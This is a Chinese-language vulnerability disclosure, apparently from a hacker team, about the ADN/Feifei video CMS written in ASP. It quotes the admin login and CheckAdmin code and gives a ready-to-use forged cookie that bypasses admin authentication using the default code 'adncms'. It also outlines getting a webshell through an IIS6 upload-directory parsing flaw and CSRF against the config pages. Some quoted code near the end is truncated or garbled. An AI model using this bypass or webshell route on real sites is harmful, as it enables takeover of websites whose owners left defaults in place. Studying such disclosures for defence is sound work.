前几天公布了飞飞影视php版的SQL注入漏洞。
飞飞影视官方论坛挂上了我们08安全团队的友连,在此感谢!
其实也个版本也算不是一个漏洞,只是利用有些站长懒惰不去修改默认管理员认证码,
结合cookie验证达到后台权限饶过。从而取得webshell控制整个网站。
本来想在官方论坛提交了,发现帖子被删了。。。这里就公布吧。

我们看代码吧。
后台登录文件:
adn_login.asp

'数据库连接文件
'后台登录验证文件



省略中间代码………

Site_Sn=Replace(LCase(Request.ServerVariables(“Server_Name”)), “.”, “”)

Password = MD5(Password, 16)
Call OpenConn()
Set rs = Server.CreateObject(“adodb.recordset”)
sql = “Select * from adnim_admin where admin_pass=’” & Password & “‘ and admin_name=’” & UserName & “‘”
rs.Open sql, Conn, 1, 3
If rs.bof And rs.eof Then
‘Call InsertLog(1, -1, UserName, UserTrueIP, “登录失败”, ComeUrl, “”)
rs.Close:Set rs = Nothing
Call Adn_Err(“用户名或密码错误!!!”)
Exit Sub
End If
UserName = rs(“admin_name”)
RndPassword = GetRndPassword(16)
rs(“LastLoginIP”) = Adn_Ip ‘登录IP
rs(“LastLoginTime”) = Now() ‘登录时间
rs(“RndPassword”) = RndPassword ‘随机验证码
rs.Update
‘Call InsertLog(1, 0, UserName, UserTrueIP, “登录成功”, ComeUrl, “”) ‘如果登录成功设置cookie值
Response.Cookies(Site_Sn)(“AdminName”) = rs(“admin_name”)
Response.Cookies(Site_Sn)(“AdminPassword”) = rs(“admin_pass”)
Response.Cookies(Site_Sn)(“RndPassword”) = RndPassword
Response.Cookies(Site_Sn)(“AdminLoginCode”) = AdminLoginCode
rs.Close:Set rs = Nothing
Call CloseConn
Response.Redirect “Adn_Index.asp” ‘登录成功跳转到后台管理首页文件

adn_index.asp

'只包含了这一个文件




后台管理
继续跟踪adn_conn.asp








<%If CheckAdmin<>True Then '关键在这里,只要checkadmin这个函数返回真就会继续向下执行,
'也就饶过了后台权限
Response.Redirect "Adn_Login.asp"
Response.End
End If%>
checkadmin函数在
/Include/AdnCms.Security.asp 这个文件里

Function CheckAdmin()
‘检查管理员是否登录
‘Site_Sn=Replace(Replace(LCase(Request.ServerVariables(“SERVER_NAME”) & GetScriptPath(Trim(Request.ServerVariables(“SCRIPT_NAME”)), 1)), “/”, “”), “.”, “”)
Site_Sn=Replace(LCase(Request.ServerVariables(“Server_Name”)), “.”, “”)
AdminName = NoSqlHack(Trim(Request.Cookies(Site_Sn)(“AdminName”)))
AdminPassword = NoSqlHack(Trim(Request.Cookies(Site_Sn)(“AdminPassword”)))
RndPassword = NoSqlHack(Trim(Request.Cookies(Site_Sn)(“RndPassword”)))
AdminLoginCode = NoSqlHack(Trim(Request.Cookies(Site_Sn)(“AdminLoginCode”)))
If AdminName = “” Or AdminPassword = “” Or RndPassword = “” Or AdminLoginCode <> Config(7) Then ’关键判断
CheckAdmin=False
Else
CheckAdmin=True
End If
End Function

Request.Cookies(Site_Sn)(“AdminName”) ‘都是来自cookie传递过来的值。
If AdminName = “” Or AdminPassword = “” Or RndPassword = “” Or AdminLoginCode <> Config(7) Then
也就是说我们如果我们伪造cookie的值使得adminname,adminpassword,rndpassword 都不为空,并且adminLogincode=配置文件中的coofig(7) 默认是adncms 就可以饶过。

伪造cookie值:

Site_Sn主机名除去点=AdminName=11111&AdminPassword=11111&RndPassword=11111&AdminLoginCode=adncms

Cache/AdnCms.Config.asp

Config(5)=”SQL用户密码”
Config(6)=”(local)”
Config(7)=”adncms” ‘管理员认证码
Config(8)=”ADN视频收藏专家”
Config(9)=”www.adnim5.cn”
Config(10)=”50″
Config(11)=”10″
不过可以看的出来只要我们把管理员认证码改成自己的密码就达不到cookie欺骗的目的。但是可惜在实际测试中
有80%都是默认的 “adncms”

还有一个就是 adnim/adn_config.asp 并没有判断请求来源,这里或许可以利用CSRF更改了管理员认证码。
adnim/adn_
上传使用白名单加重命名+定义的上传目录,写入配置文件也过虑了双引号为空,数据库也防插马,
不过利用iis6的解释漏洞更改上传目录为xxx.asp目录可以突破。

adnim/adn_admin.asp 同样是没有判断请求来源,存在CSRF 可在管理员不知道情的情况下更改个性参数。

Sub config_add
ConfigHtml=”"‘初始化变量
For i=0 to 31
AdminId(i)=Request.Form(“AdminId(“&i&”)”)
ConfigHtml=ConfigHtml&”AdminId(“&i&”)=”"”&AdminId(i)&”"”"&vbcrlf
Next
For J=32 to 39
beiyong=beiyong&”AdminId(“&j&”)=”"”"”&vbcrlf
Next
html=” Call MakeHtml(“../Cache/AdnCms.Admin.asp”,html)’生成配置文件
Response.Redirect”?”
End Sub